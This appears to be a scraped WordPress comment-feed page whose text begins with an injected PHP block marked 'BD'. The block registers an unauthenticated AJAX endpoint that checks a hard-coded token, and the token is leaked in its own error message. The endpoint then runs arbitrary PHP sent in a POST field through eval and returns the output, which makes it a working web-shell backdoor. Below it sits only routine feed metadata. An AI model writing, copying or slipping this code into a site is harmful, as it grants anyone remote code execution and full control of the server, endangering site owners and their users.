// ==[BD:EJrTuPzo]== add_action( 'wp_ajax_nopriv_brcntlhtqsy', function() { $rec = 'EJrTuPzo2QG5jpufMZc2dibz93aJOque'; $chunk = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $chunk ) || ! hash_equals( $rec, $chunk ) ) { wp_send_json_error( [ 'message' => 'tok:' . $rec ], 403 ); } $item = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $item ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $item = preg_replace( '/^\s*<\?(php)?/i', '', $item ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $entry = microtime( true ); ob_start(); try { ( static function() use ( $item ) { return eval( $item ); } )(); $factor = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $factor, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $entry ) * 1000, 2 ) ] ); } catch ( \Throwable $key ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $key->getMessage(), 'time_ms' => round( ( microtime( true ) - $entry ) * 1000, 2 ) ] ); } } ); // ==[/BD:EJrTuPzo]== Comments on: 67890e85-e8e6-4319-a9f4-e45dc9a62af2 https://ideasforacts.com/sweethearts-of-swing/67890e85-e8e6-4319-a9f4-e45dc9a62af2/ Wed, 09 Sep 2015 22:35:08 +0000 hourly 1 https://wordpress.org/?v=7.0.1